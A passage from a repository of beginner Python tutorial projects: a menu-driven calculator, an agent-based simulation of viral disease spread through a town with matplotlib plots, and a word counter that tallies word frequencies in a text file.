Version: 10 | - Uses Python 3.5.2 or greater 11 | -------------------------------------------------------------------------------- /Simple Calculator/functions.py: -------------------------------------------------------------------------------- 1 | from math import log, sin, cos, tan 2 | 3 | 4 | def addition(): 5 | """ 6 | Adds two numbers 7 | """ 8 | a = input("Enter first number: ") 9 | b = input("Enter second number: ") 10 | equation = a + ' + ' + b + ' =' 11 | print(equation) 12 | answer = float(a) + float(b) 13 | print(answer) 14 | 15 | 16 | def subtraction(): 17 | """ 18 | Subtracts two numbers 19 | """ 20 | a = input("Enter first number: ") 21 | b = input("Enter second number: ") 22 | equation = a + ' - ' + b + ' =' 23 | print(equation) 24 | answer = float(a) - float(b) 25 | print(answer) 26 | 27 | 28 | def multiplication(): 29 | """ 30 | Multiplies two numbers 31 | """ 32 | a = input("Enter first number: ") 33 | b = input("Enter second number: ") 34 | equation = a + ' x ' + b + ' =' 35 | print(equation) 36 | answer = float(a) * float(b) 37 | print(answer) 38 | 39 | 40 | def division(): 41 | """ 42 | Divides two numbers 43 | """ 44 | a = input("Enter first number: ") 45 | b = input("Enter second number: ") 46 | equation = a + ' / ' + b + ' =' 47 | print(equation) 48 | answer = float(a) / float(b) 49 | print(answer) 50 | 51 | 52 | def exponent(): 53 | """ 54 | Raises a to the power b 55 | """ 56 | a = input("Enter first number: ") 57 | b = input("Enter second number: ") 58 | equation = a + ' ^ ' + b + ' =' 59 | print(equation) 60 | answer = float(a) ** float(b) 61 | print(answer) 62 | 63 | 64 | def logarithm(): 65 | """ 66 | Log base a of b 67 | """ 68 | a = input("Enter base of logarithm: ") 69 | b = input("Enter number you'd like to take the log of: ") 70 | equation = 'Log base ' + a + ' of ' + b + ' =' 71 | print(equation) 72 | answer = log(float(b), float(a)) 73 | print(answer) 74 | 75 | 76 | def square_root(): 77 | """ 78 | Square root of a 79 | """ 80 | a = input("Enter number: ") 81 | equation = a + ' ^ (1/2) =' 82 | print(equation) 83 | answer = float(a) ** 0.5 84 | print(answer) 85 | 86 | 87 | def cube_root(): 88 | """ 89 | Cube root of a 90 | """ 91 | a = input("Enter number: ") 92 | equation = a + ' ^ (1/3) =' 93 | print(equation) 94 | answer = float(a) ** (1/3) 95 | print(answer) 96 | 97 | 98 | def sin_a(): 99 | """ 100 | Sin of a 101 | """ 102 | a = input("Enter number: ") 103 | equation = 'Sin(' + a + ') =' 104 | print(equation) 105 | answer = sin(float(a)) 106 | print(answer) 107 | 108 | 109 | def cos_a(): 110 | """ 111 | Cos of a 112 | """ 113 | a = input("Enter number: ") 114 | equation = 'Cos(' + a + ') =' 115 | print(equation) 116 | answer = cos(float(a)) 117 | print(answer) 118 | 119 | 120 | def tan_a(): 121 | """ 122 | Tan of a 123 | """ 124 | a = input("Enter number: ") 125 | equation = 'Tan(' + a + ') =' 126 | print(equation) 127 | answer = tan(float(a)) 128 | print(answer) 129 | -------------------------------------------------------------------------------- /Simple Calculator/main.py: -------------------------------------------------------------------------------- 1 | from functions import * 2 | from time import sleep 3 | 4 | 5 | def run_calculator(): 6 | """ 7 | A Simple Calculator 8 | """ 9 | 10 | list_choices = ['Addition: 1', 11 | 'Subtraction: 2', 12 | 'Multiplication: 3', 13 | 'Division: 4', 14 | 'Exponent: 5', 15 | 'Logarithm: 6', 16 | 'Square Root: 7', 17 | 'Cube Root: 8', 18 | 'Sin: 9', 19 | 'Cos: 10', 20 | 'Tan: 11'] 21 | 22 | print('============================') 23 | for item in list_choices: 24 | print(item) 25 | print('============================') 26 | 27 | user_choice = input('Enter number of selection: ') 28 | 29 | if user_choice == '1': 30 | addition() 31 | elif user_choice == '2': 32 | subtraction() 33 | elif user_choice == '3': 34 | multiplication() 35 | elif user_choice == '4': 36 | division() 37 | elif user_choice == '5': 38 | exponent() 39 | elif user_choice == '6': 40 | logarithm() 41 | elif user_choice == '7': 42 | square_root() 43 | elif user_choice == '8': 44 | cube_root() 45 | elif user_choice == '9': 46 | sin_a() 47 | elif user_choice == '10': 48 | cos_a() 49 | elif user_choice == '11': 50 | tan_a() 51 | else: 52 | print('Invalid Selection...') 53 | 54 | sleep(2) 55 | run_calculator() 56 | 57 | run_calculator() 58 | -------------------------------------------------------------------------------- /Virus Spread Simulator/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "Simulating COVID-19 Spread in Python (Viral Spread Simulator)" 3 | - Video: https://youtu.be/m_iSi4PwELs 4 | 5 | Includes: 6 | - simulation.py (the main function that runs the simulator and all its classes) 7 | 8 | Version: 9 | - Uses Python 3 or greater 10 | -------------------------------------------------------------------------------- /Virus Spread Simulator/simulation.py: -------------------------------------------------------------------------------- 1 | from random import randint, random 2 | from matplotlib import pyplot as plt 3 | 4 | 5 | class Person: 6 | def __init__(self, status): 7 | self.status = status 8 | self.time_sick = 0 9 | self.building = list() 10 | 11 | 12 | class Building: 13 | def __init__(self, building_id): 14 | self.building_id = id 15 | self.num_sick = 0 16 | 17 | 18 | def simulate(buildings, n_healthy, n_sick, iterations): 19 | town = [Building(i) for i in range(buildings)] 20 | people = [Person('healthy') for i in range(n_healthy)] + \ 21 | [Person('sick') for i in range(n_sick)] 22 | 23 | healthy_history = [n_healthy] 24 | sick_history = [n_sick] 25 | recovered_history = [0] 26 | dead_history = [0] 27 | days = [day for day in range(iterations)] 28 | 29 | for day in days: 30 | healthy = 0 31 | sick = 0 32 | recovered = 0 33 | dead = 0 34 | 35 | for person in people: 36 | person.building = town[randint(0, len(town)-1)] 37 | 38 | for person in people: 39 | if person.status == 'healthy': 40 | healthy += 1 41 | elif person.status == 'sick': 42 | sick += 1 43 | person.building.num_sick += 1 44 | elif person.status == 'recovered': 45 | recovered += 1 46 | else: 47 | dead += 1 48 | 49 | for person in people: 50 | if person.status == 'sick' and person.time_sick < 15: 51 | person.time_sick += 1 52 | elif person.status == 'sick' and person.time_sick == 15: 53 | if randint(0, 9) == 4: 54 | person.status = 'dead' 55 | else: 56 | person.status = 'recovered' 57 | if person.status == 'healthy': 58 | chance_of_infection = 0.0008*person.building.num_sick 59 | if random() < chance_of_infection: 60 | person.status = 'sick' 61 | 62 | for building in town: 63 | building.num_sick = 0 64 | 65 | healthy_history.append(healthy) 66 | sick_history.append(sick) 67 | recovered_history.append(recovered) 68 | dead_history.append(dead) 69 | 70 | fig, axs = plt.subplots(4, sharex=True, sharey=False) 71 | fig.suptitle('VIRUS SIMULATION') 72 | axs[0].plot(days, healthy_history[:-1]) 73 | axs[0].set_title('HEALTHY') 74 | axs[1].plot(days, sick_history[:-1], 'tab:orange') 75 | axs[1].set_title('SICK') 76 | axs[2].plot(days, recovered_history[:-1], 'tab:green') 77 | axs[2].set_title('RECOVERED') 78 | axs[3].plot(days, dead_history[:-1], 'tab:red') 79 | axs[3].set_title('DEAD') 80 | 81 | plt.show() 82 | 83 | 84 | simulate(75, 25000, 25, 100) -------------------------------------------------------------------------------- /Word Counter/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Word Counter in Python" 3 | - Video: https://www.youtube.com/watch?v=sgO_xAv0hdw 4 | 5 | Includes: 6 | - main.py (all code for the word counter) 7 | - book.txt (a book full of words to count) 8 | - example_output.txt (an example output) 9 | 10 | Version: 11 | - Uses Python 3.5.2 or greater 12 | -------------------------------------------------------------------------------- /Word Counter/main.py: -------------------------------------------------------------------------------- 1 | import operator 2 | 3 | 4 | def word_counter(): 5 | print('=====================================================================') 6 | filename = input('Enter name of file (example.txt): ') 7 | output_name = input('Enter name of output file (output_example.txt): ') 8 | print('Working...') 9 | 10 | counts = dict() 11 | bad_characters = '~`!@#$%^&*()_-+=1234567890{[}]|\\<,>.?/:;"\n' 12 | 13 | with open(filename, 'r') as f: 14 | lines = f.readlines() 15 | f.close() 16 | 17 | for line in lines: 18 | new_line = str() 19 | for character in line: 20 | if character not in bad_characters: 21 | new_line += character.lower() 22 | words = new_line.split(' ') 23 | for word in words: 24 | if word in counts: 25 | counts[word] += 1 26 | else: 27 | counts[word] = 1 28 | 29 | del counts[''] 30 | counts['I'] = counts['i'] 31 | counts["I'll"] = counts["i'll"] 32 | counts["I'm"] = counts["i'm"] 33 | counts["I've"] = counts["i've"] 34 | counts["I'd"] = counts["i'd"] 35 | del counts['i'] 36 | del counts["i'll"] 37 | del counts["i'm"] 38 | del counts["i've"] 39 | del counts["i'd"] 40 | 41 | sort = sorted(counts.items(), key=operator.itemgetter(1)) 42 | sort.reverse() 43 | 44 | with open(output_name, 'w') as o: 45 | for item in sort: 46 | o.write(item[0] + ' ' + str(item[1]) + '\n') 47 | o.close() 48 | 49 | print('Done! Created ' + output_name) 50 | print('=====================================================================') 51 | 52 | word_counter() 53 | --------------------------------------------------------------------------------